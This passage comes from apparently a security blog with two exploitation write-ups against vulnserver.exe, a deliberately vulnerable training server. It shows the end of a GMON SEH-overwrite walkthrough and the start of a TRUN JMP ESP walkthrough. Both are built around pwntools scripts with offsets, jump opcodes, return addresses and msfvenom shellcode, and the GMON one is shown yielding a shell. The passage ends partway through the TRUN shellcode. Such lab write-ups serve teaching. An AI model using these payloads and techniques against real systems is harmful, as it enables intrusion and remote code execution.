i2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9Dw0Dw1Dw2Dw3Dw4Dw5Dw6Dw7Dw8Dw9Dx0Dx1Dx2Dx3Dx4Dx5Dx6Dx7Dx8Dx9Dy0Dy1Dy2Dy3Dy4Dy5Dy6Dy7Dy8Dy9Dz0Dz1Dz2Dz3Dz4Dz5Dz6Dz7Dz8Dz9Ea0Ea1Ea2Ea3Ea4Ea5Ea6Ea7Ea8Ea9Eb0Eb1Eb2Eb3Eb4Eb5Eb6Eb7Eb8Eb9Ec0Ec1Ec2Ec3Ec4Ec5Ec6Ec7Ec8Ec9Ed0Ed1Ed2Ed3Ed4Ed5Ed6Ed7Ed8Ed9Ee0Ee1Ee2Ee3Ee4Ee5Ee6Ee7Ee8Ee9Ef0Ef1Ef2Ef3Ef4Ef5Ef6Ef7Ef8Ef9Eg0Eg1Eg2Eg3Eg4Eg5Eg6Eg7Eg8Eg9Eh0Eh1Eh2Eh3Eh4Eh5Eh6Eh7Eh8Eh9Ei0Ei1Ei2Ei3Ei4Ei5Ei6Ei7Ei8Ei9Ej0Ej1Ej2Ej3Ej4Ej5Ej6Ej7Ej8Ej9Ek0Ek1Ek2Ek3Ek4Ek5Ek6Ek7Ek8Ek9El0El1El2El3El4El5El6El7El8El9Em0Em1Em2Em3Em4Em5Em6Em7Em8Em9En0En1En2En3En4En5En6En7En8En9Eo0Eo1Eo2Eo3Eo4Eo5Eo6Eo7Eo8Eo9Ep0Ep1Ep2Ep3Ep4Ep5Ep6Ep7Ep8Ep9Eq0Eq1Eq2Eq3Eq4Eq5Eq6Eq7Eq8Eq9Er0Er1Er2Er3Er4Er5Er6Er7Er8Er9Es0Es1Es2Es3Es4Es5Es6Es7Es8Es9Et0Et1Et2Et3Et4Et5Et6Et7Et8Et9Eu0Eu1Eu2Eu3Eu4Eu5Eu6Eu7Eu8Eu9Ev0Ev1Ev2Ev3Ev4Ev5Ev6Ev7Ev8Ev9Ew0Ew1Ew2Ew3Ew4Ew5Ew6Ew7Ew8Ew9Ex0Ex1Ex2Ex3Ex4Ex5Ex6Ex7Ex8Ex9Ey0Ey1Ey2Ey3Ey4Ey5Ey6Ey7Ey8Ey9Ez0Ez1Ez2Ez3Ez4Ez5Ez6Ez7Ez8Ez9Fa0Fa1Fa2Fa3Fa4Fa5Fa6Fa7Fa8Fa9Fb0Fb1Fb2Fb3Fb4Fb5Fb6Fb7Fb8Fb9Fc0Fc1Fc2Fc3Fc4Fc5Fc6Fc7Fc8Fc9Fd0Fd1Fd2F"
r.sendline(payload)
r.close()
</code></pre></div></div>
<p>Sending this payload gives us the unique pattern that has overwritten the <code class="language-plaintext highlighter-rouge">SEH value</code> and the <code class="language-plaintext highlighter-rouge">NSEH pointer</code>.</p>
<p><img src="https://cdn-images-1.medium.com/max/800/1*zyR5E487NAoVNm89SDpaqQ.png" alt="" class="align-center" /></p>
<p><img src="https://cdn-images-1.medium.com/max/800/1*l1qqs4TxiK3ma7UeAVRVYQ.png" alt="" class="align-center" /></p>
<p>The offset we need to overwrite <code class="language-plaintext highlighter-rouge">SEH value</code> is <code class="language-plaintext highlighter-rouge">3522</code> and <code class="language-plaintext highlighter-rouge">3518</code> for <code class="language-plaintext highlighter-rouge">NSEH pointer</code>.</p>
<p>Our payload structure should now look like this.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>payload = <3518 bytes buffer> + <NSEH overwrite> + <SEH overwrite>
</code></pre></div></div>
<p>According to this <a href="https://www.corelan.be/index.php/2009/07/25/writing-buffer-overflow-exploits-a-quick-and-basic-tutorial-part-3-seh/">writeup</a> by corelan, we need to overwrite the <code class="language-plaintext highlighter-rouge">SEH value</code> with a <code class="language-plaintext highlighter-rouge">POP POP RET</code> instruction and overwrite <code class="language-plaintext highlighter-rouge">NSEH</code> with an instruction that will jump to our <code class="language-plaintext highlighter-rouge">shellcode</code>.</p>
<p>To execute this plan, let’s check if there is an available <code class="language-plaintext highlighter-rouge">POP POP RET</code> instruction that we can use with the help of mona. We can simply use <code class="language-plaintext highlighter-rouge">!mona seh -n</code> to get a list of <code class="language-plaintext highlighter-rouge">POP POP RET</code> instructions.</p>
<p><img src="https://cdn-images-1.medium.com/max/800/1*Qd3JXyZwi7N-utYPDr1L3Q.png" alt="" class="align-center" /></p>
<p>We can use <code class="language-plaintext highlighter-rouge">0x625010b4</code> as our <code class="language-plaintext highlighter-rouge">POP POP RET</code> instruction.</p>
<p>Next, we need to overwrite <code class="language-plaintext highlighter-rouge">NSEH</code> with instructions that will make us jump to our shellcode. Upon testing, we cannot place our shellcode after <code class="language-plaintext highlighter-rouge">SEH</code> overwrite since we only have a limited stack space after <code class="language-plaintext highlighter-rouge">NSEH</code> and <code class="language-plaintext highlighter-rouge">SEH</code>.</p>
<p><img src="https://cdn-images-1.medium.com/max/800/1*sL2N5qBuo7etHNkoOJoyDg.png" alt="" class="align-center" /></p>
<p>Our only option is to use the buffer before <code class="language-plaintext highlighter-rouge">NSEH</code> overwrite for our shellcode, and our only way to jump to our shellcode is to <code class="language-plaintext highlighter-rouge">jump backwards</code>.</p>
<p>To give an update on our payload structure, it should now look like this.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>payload = <buffer> + <shellcode> + <NSEH> + <SEH>
</code></pre></div></div>
<p>Our next issue is we only have 4 bytes for jumping backwards. Since our shellcode have a length of <code class="language-plaintext highlighter-rouge">300</code> to <code class="language-plaintext highlighter-rouge">400</code> on average, we need to atleast jump <code class="language-plaintext highlighter-rouge">400 bytes</code> backwards. But writing this instruction requires atleast 5 bytes.</p>
<p><img src="https://cdn-images-1.medium.com/max/800/1*qGwLLEorAN3DW_BX-j2qzA.png" alt="" class="align-center" /></p>
<p>We need to think of an alternate way to jump into our shellcode.</p>
<p>According to this <a href="https://thestarman.pcministry.com/asm/2bytejumps.htm">page</a>, we can do a <code class="language-plaintext highlighter-rouge">SHORT RELATIVE JUMP</code> to jump backwards. This solution fits perfectly on our space issue since we only need two bytes for this instruction.</p>
<p>To compute for the instruction, we need to append the <code class="language-plaintext highlighter-rouge">2’s complement</code> of the negative jump what we want to “\xeb” (opcode for short jump). We can use this formula to compute the <code class="language-plaintext highlighter-rouge">2’s complement</code>.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>2’s complement = (<jump distannce> ^ 0xff) + 1
</code></pre></div></div>
<p>Let’s use <code class="language-plaintext highlighter-rouge">70 bytes</code> as our jump distance.</p>
<p><img src="https://cdn-images-1.medium.com/max/800/1*uzGcT5DlqP-sGZJC8n8YHg.png" alt="" class="align-center" /></p>
<p>Since “<code class="language-plaintext highlighter-rouge">\xeb\xba</code>” are just 2 bytes, we need to append <code class="language-plaintext highlighter-rouge">NOP instructions</code> to make a 4-byte instruction.</p>
<p>Let’s test this with our reconstructed payload. We will use “<code class="language-plaintext highlighter-rouge">\xcc</code>” (<code class="language-plaintext highlighter-rouge">int 3 instruction</code>) for debugging purposes.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>from pwn import *
host = '192.168.136.241'
port = 9999
r = remote(host, port)
shellcode = ""
payload = ""
payload += "GMON /"
payload += "A"*(3518 - 70) # Subtract 70
payload += "\xcc"*70 # This is where the short jump occurs, int 3 - for debugging
payload += "\xeb\xba\x90\x90" # jmp -70
payload += p32(0x625010b4)
payload += "D"*(4096 - len(payload)) # to make sure that the payload is greater than 3950
r.sendline(payload)
r.close()
</code></pre></div></div>
<p><img src="https://cdn-images-1.medium.com/max/800/1*mX8WpTHYluHmjvo2XIsCCA.png" alt="" class="align-center" /></p>
<p>Upon checking, we did not land exactly on the start of “<code class="language-plaintext highlighter-rouge">\xcc</code>”. We landed 2 bytes ahead of it. A quick explanation can be seen on the <a href="https://thestarman.pcministry.com/asm/2bytejumps.htm">SHORT JMP resource</a> we used above.</p>
<p><img src="https://cdn-images-1.medium.com/max/800/1*nrSipc4YKZ9hri_IE6m8cg.png" alt="" class="align-center" /></p>
<p>We need to reduce <code class="language-plaintext highlighter-rouge">2 bytes</code> of buffer to exactly land on our desired location.</p>
<blockquote>
<p>Alternative solution: Replace the buffer with NOP instructions.</p>
</blockquote>
<p>Let’s adjust the payload.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>from pwn import *
host = '192.168.136.241'
port = 9999
r = remote(host, port)
shellcode = ""
payload = ""
payload += "GMON /"
payload += "A"*(3518 - 70 + 2) # Subtract 70, add 2 for adjustment
payload += "\xcc"*68 # This is where the short jump occurs, int 3 - for debugging
payload += "\xeb\xba\x90\x90" # jmp -70
payload += p32(0x625010b4)
payload += "D"*(4096 - len(payload)) # to make sure that the payload is greater than 3950
r.sendline(payload)
r.close()
</code></pre></div></div>
<p><img src="https://cdn-images-1.medium.com/max/800/1*g2r3e3-PdflHWizNQ1veGg.png" alt="" class="align-center" /></p>
<p>Now, we got <code class="language-plaintext highlighter-rouge">68 bytes</code> of space. We can now do a long jump backwards. Let’s try to do a <code class="language-plaintext highlighter-rouge">500 bytes</code> backward jump. For review, our payload structure will now look like this.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><buffer> + <NOP sled> + <shellcode> + <jmp -500 & padding> + <NSEH (jmp -70)> + <SEH (POP POP RET)>
</code></pre></div></div>
<p>We can use <code class="language-plaintext highlighter-rouge">nasm_shell</code> for generating our <code class="language-plaintext highlighter-rouge">jmp -500</code> instruction.</p>
<p><img src="https://cdn-images-1.medium.com/max/800/1*AMK0papabV12Jg6fP-rEdQ.png" alt="" class="align-center" /></p>
<p>Let’s update our payload script.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>from pwn import *
host = '192.168.136.241'
port = 9999
r = remote(host, port)
shellcode = ""
payload = ""
payload += "GMON /"
payload += "A"*(3518 - 70 + 2 - 500) # Subtract 70, add 2 for adjustment, -500 for shellcode space
payload += "\xcc"*500 # NOP + shellcode location, int3 for debugging purposes only
payload += "\xE9\x07\xFE\xFF\xFF" # This is where the short jump occurs, jmp -500
payload += "\x90" * (68 - 5) # padding
payload += "\xeb\xba\x90\x90" # jmp -70
payload += p32(0x625010b4)
payload += "D"*(4096 - len(payload)) # to make sure that the payload is greater than 3950
r.sendline(payload)
r.close()
</code></pre></div></div>
<blockquote>
<p>Quick note: Always remember that we need to have a total of <code class="language-plaintext highlighter-rouge">3518 bytes</code> of payload before SEH overwrite.</p>
</blockquote>
<p>Let’s try to send this payload.</p>
<p><img src="https://cdn-images-1.medium.com/max/800/1*LLPiGSmD-CEa6sHZSlwyLg.png" alt="" class="align-center" /></p>
<p>Success! We landed exactly on our first “<code class="language-plaintext highlighter-rouge">\xcc</code>”. Let’s replace this with <code class="language-plaintext highlighter-rouge">NOP sled</code> and <code class="language-plaintext highlighter-rouge">shellcode</code>.</p>
<p><img src="https://cdn-images-1.medium.com/max/800/1*adwfWop049fWZ8y7wzsg0g.png" alt="" class="align-center" /></p>
<p>Our final script now looks like this.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>from pwn import *
host = '192.168.136.241'
port = 9999
r = remote(host, port)
shellcode = b""
shellcode += b"\xd9\xe5\xd9\x74\x24\xf4\x58\x31\xc9\xb1\x52"
shellcode += b"\xbb\x5f\xb2\x29\xf1\x83\xc0\x04\x31\x58\x13"
shellcode += b"\x03\x07\xa1\xcb\x04\x4b\x2d\x89\xe7\xb3\xae"
shellcode += b"\xee\x6e\x56\x9f\x2e\x14\x13\xb0\x9e\x5e\x71"
shellcode += b"\x3d\x54\x32\x61\xb6\x18\x9b\x86\x7f\x96\xfd"
shellcode += b"\xa9\x80\x8b\x3e\xa8\x02\xd6\x12\x0a\x3a\x19"
shellcode += b"\x67\x4b\x7b\x44\x8a\x19\xd4\x02\x39\x8d\x51"
shellcode += b"\x5e\x82\x26\x29\x4e\x82\xdb\xfa\x71\xa3\x4a"
shellcode += b"\x70\x28\x63\x6d\x55\x40\x2a\x75\xba\x6d\xe4"
shellcode += b"\x0e\x08\x19\xf7\xc6\x40\xe2\x54\x27\x6d\x11"
shellcode += b"\xa4\x60\x4a\xca\xd3\x98\xa8\x77\xe4\x5f\xd2"
shellcode += b"\xa3\x61\x7b\x74\x27\xd1\xa7\x84\xe4\x84\x2c"
shellcode += b"\x8a\x41\xc2\x6a\x8f\x54\x07\x01\xab\xdd\xa6"
shellcode += b"\xc5\x3d\xa5\x8c\xc1\x66\x7d\xac\x50\xc3\xd0"
shellcode += b"\xd1\x82\xac\x8d\x77\xc9\x41\xd9\x05\x90\x0d"
shellcode += b"\x2e\x24\x2a\xce\x38\x3f\x59\xfc\xe7\xeb\xf5"
shellcode += b"\x4c\x6f\x32\x02\xb2\x5a\x82\x9c\x4d\x65\xf3"
shellcode += b"\xb5\x89\x31\xa3\xad\x38\x3a\x28\x2d\xc4\xef"
shellcode += b"\xff\x7d\x6a\x40\x40\x2d\xca\x30\x28\x27\xc5"
shellcode += b"\x6f\x48\x48\x0f\x18\xe3\xb3\xd8\xe7\x5c\x33"
shellcode += b"\xee\x80\x9e\x43\x1e\x0d\x16\xa5\x4a\xbd\x7e"
shellcode += b"\x7e\xe3\x24\xdb\xf4\x92\xa9\xf1\x71\x94\x22"
shellcode += b"\xf6\x86\x5b\xc3\x73\x94\x0c\x23\xce\xc6\x9b"
shellcode += b"\x3c\xe4\x6e\x47\xae\x63\x6e\x0e\xd3\x3b\x39"
shellcode += b"\x47\x25\x32\xaf\x75\x1c\xec\xcd\x87\xf8\xd7"
shellcode += b"\x55\x5c\x39\xd9\x54\x11\x05\xfd\x46\xef\x86"
shellcode += b"\xb9\x32\xbf\xd0\x17\xec\x79\x8b\xd9\x46\xd0"
shellcode += b"\x60\xb0\x0e\xa5\x4a\x03\x48\xaa\x86\xf5\xb4"
shellcode += b"\x1b\x7f\x40\xcb\x94\x17\x44\xb4\xc8\x87\xab"
shellcode += b"\x6f\x49\xb7\xe1\x2d\xf8\x50\xac\xa4\xb8\x3c"
shellcode += b"\x4f\x13\xfe\x38\xcc\x91\x7f\xbf\xcc\xd0\x7a"
shellcode += b"\xfb\x4a\x09\xf7\x94\x3e\x2d\xa4\x95\x6a"
payload = ""
payload += "GMON /"
payload += "A"*(3518 - 70 + 2 - 500) # Subtract 70, add 2 for adjustment, -500 for shellcode space
payload += "\x90"*(500 - len(shellcode)) # NOP sled
payload += shellcode
payload += "\xE9\x07\xFE\xFF\xFF" # This is where the short jump occurs, jmp -500
payload += "\x90" * (68 - 5) # padding
payload += "\xeb\xba\x90\x90" # jmp -70
payload += p32(0x625010b4)
payload += "D"*(4096 - len(payload)) # to make sure that the payload is greater than 3950
r.sendline(payload)
r.close()
</code></pre></div></div>
<p>Executing this payload gives us a shell.</p>
<p><img src="https://cdn-images-1.medium.com/max/800/1*fhRcxMQoQjjxhp34zMsDgw.png" alt="" class="align-center" /></p>
<p>— ar33zy</p>ar33zyIn this write-up, I will discuss about attacking GMON command of vulnserver.exe with SEH overwrite.Exploiting vulnserver.exe — TRUN command using JMP ESP technique2020-07-04T14:29:58+00:002020-07-04T14:29:58+00:00https://ar33zy.hackstreetboys.ph/exploitation/windows/windows-exploitation-vulnserver-trun-command<p>In this write-up, I will discuss about attacking TRUN command of vulnserver.exe with JMP ESP technique.</p>
<p>To get started, let’s read the source code of vulnserver.</p>
<p><img src="https://cdn-images-1.medium.com/max/800/1*sofI2AIRVf8P8EYuSBkQOQ.png" alt="image-center" class="align-center" /></p>
<p>The code tells us that it copies <code class="language-plaintext highlighter-rouge">3000 bytes</code> of our input <code class="language-plaintext highlighter-rouge">(RecvBuf)</code> to <code class="language-plaintext highlighter-rouge">TrunBuf</code> if our input contains a “.”, and it passes <code class="language-plaintext highlighter-rouge">TrunBuf</code> to <code class="language-plaintext highlighter-rouge">Function3().</code></p>
<p>Let’s inspect <code class="language-plaintext highlighter-rouge">Function3</code> to have a better understanding what happens next.</p>
<p><img src="https://cdn-images-1.medium.com/max/800/1*UNtu3Yf9RmoOk9NTho8Ywg.png" alt="" class="align-center" /></p>
<p>The contents of <code class="language-plaintext highlighter-rouge">TrunBuf</code> is copied to <code class="language-plaintext highlighter-rouge">Buffer2S</code> without checking the payload length. This is where the vulnerability occurs. Since <code class="language-plaintext highlighter-rouge">Buffer2S</code> can only handle <code class="language-plaintext highlighter-rouge">2000</code> <code class="language-plaintext highlighter-rouge">bytes</code> and <code class="language-plaintext highlighter-rouge">TrunBuf</code> can handle up to <code class="language-plaintext highlighter-rouge">3000 bytes</code> of input, we can smash the stack by sending a payload greater than <code class="language-plaintext highlighter-rouge">2000 bytes.</code></p>
<p>Our initial payload should look like this.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>from pwn import *
host = '192.168.136.241'
port = 9999
r = remote(host, port)
payload = ""
payload += "TRUN ."
payload += "A"*3000
r.sendline(payload)
r.close()
</code></pre></div></div>
<p>Sending this payload to <code class="language-plaintext highlighter-rouge">vulnserver</code> makes the program crash.</p>
<p><img src="https://cdn-images-1.medium.com/max/800/1*jR3gWLU23-apIk4f12utMg.png" alt="" class="align-center" /></p>
<p>Upon checking the registers, it seems that we can now control the instruction pointer.</p>
<p><img src="https://cdn-images-1.medium.com/max/800/1*Nzl7rVl9twqW5H9zqlMAVg.png" alt="" class="align-center" /></p>
<p>Let’s fuzz this program to get the offset we need to control EIP.</p>
<p><img src="https://cdn-images-1.medium.com/max/800/1*DJj85TFnu846W36wWqvsXQ.png" alt="" class="align-center" /></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>from pwn import *
host = '192.168.136.241'
port = 9999
r = remote(host, port)
payload = ""
payload += "TRUN ."
payload += "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9"
r.sendline(payload)
r.close()
</code></pre></div></div>
<p>Sending this payload gives us the unique pattern that has overwritten the instruction pointer.</p>
<p><img src="https://cdn-images-1.medium.com/max/800/1*vNBYTGIE3qod1yjP2JOufw.png" alt="" class="align-center" /></p>
<p><img src="https://cdn-images-1.medium.com/max/800/1*OYkh7KVXX3njy3MFBGKAEw.png" alt="" class="align-center" /></p>
<p>The offset is <code class="language-plaintext highlighter-rouge">2006</code>.</p>
<p>Now, let’s try to execute a shellcode after controlling the instruction pointer. Since we can send <code class="language-plaintext highlighter-rouge">3000 bytes</code> of payload, we have a lot of space to work with. We can simply send our payload together with the shellcode and use <code class="language-plaintext highlighter-rouge">JMP ESP</code> to jump to our shellcode.</p>
<p>First, let’s check if there is an available <code class="language-plaintext highlighter-rouge">JMP ESP</code> instruction that we can use with the help of mona. We can simply use <code class="language-plaintext highlighter-rouge">!mona jmp -r esp</code> to get a list of <code class="language-plaintext highlighter-rouge">JMP ESP</code> instructions.</p>
<p><img src="https://cdn-images-1.medium.com/max/800/1*KJQDagYBs7WCCy39-MGTeg.png" alt="" class="align-center" /></p>
<p>We can use <code class="language-plaintext highlighter-rouge">0x625011af</code> as our <code class="language-plaintext highlighter-rouge">JMP ESP</code> instruction.</p>
<p>Next, we need to generate our shellcode. We can simply use <code class="language-plaintext highlighter-rouge">msfvenom</code> for this one.</p>
<p><img src="https://cdn-images-1.medium.com/max/800/1*cBUxJyYybDGPnJzw2s9xlw.png" alt="" class="align-center" /></p>
<p>Now, let’s reconstruct our payload with this structure.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>payload = <2006 bytes buffer> + JMP ESP + NOP SLED + shellcode
NOTE: Since we have a large space to work with, we added a NOP sled to give space to our shellcode. NOP stands for no operation, which means that it is an instruction that does nothing.
</code></pre></div></div>
<p>Our final payload script looks like this.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>from pwn import *
host = '192.168.136.241'
port = 9999
r = remote(host, port)
shellcode = b""
shellcode += b"\xdb\xd9\xd9\x74\x24\xf4\x5e\xbd\xfd\xa4\xaa"
shellcode += b"\x0f\x33\xc9\xb1\x52\x31\x6e\x17\x83\xc6\x04"
shellcode += b"\x03\x93\xb7\x48\xfa\x97\x50\x0e\x05\x67\xa1"
shellcode += b"\x6f\x8f\x82\x90\xaf\xeb\xc7\x83\x1f\x7f\x85"
shellcode += b"\x2f\xeb\x2d\x3d\xbb\x99\xf9\x32\x0c\x17\xdc"
shellcode += b"\x7d\x8d\x04\x1c\x1c\x0d\x57\x71\xfe\x2c\x98"
shellcode += b"\x84\xff\x69\xc5\x65\xad\x22\x81\xd8\x41\x46"
shellcode += b"\xdf\xe0\xea\x14\xf1\x60\x0f\xec\xf0\x41\x9e"
shellcode += b"\x66\xab\x41\x21\xaa\xc7\xcb\x39\xaf\xe2\x82"
shellcode += b"\xb2\x1b\x98\x14\x12\x52\x61\xba\x5b\x5a\x90"
shellcode += b"\xc2\x9c\x5d\x4b\xb1\xd4\x9d\xf6\xc2\x23\xdf"
shellcode += b"\x2c\x46\xb7\x47\xa6\xf0\x13\x79\x6b\x66\xd0"
shellcode += b"\x75\xc0\xec\xbe\x99\xd7\x21\xb5\xa6\x5c\xc4"
shellcode += b"\x19\x2f\x26\xe3\xbd\x6b\xfc\x8a\xe4\xd1\x53"
shellcode += b"\xb2\xf6\xb9\x0c\x16\x7d\x57\x58\x2b\xdc\x30"
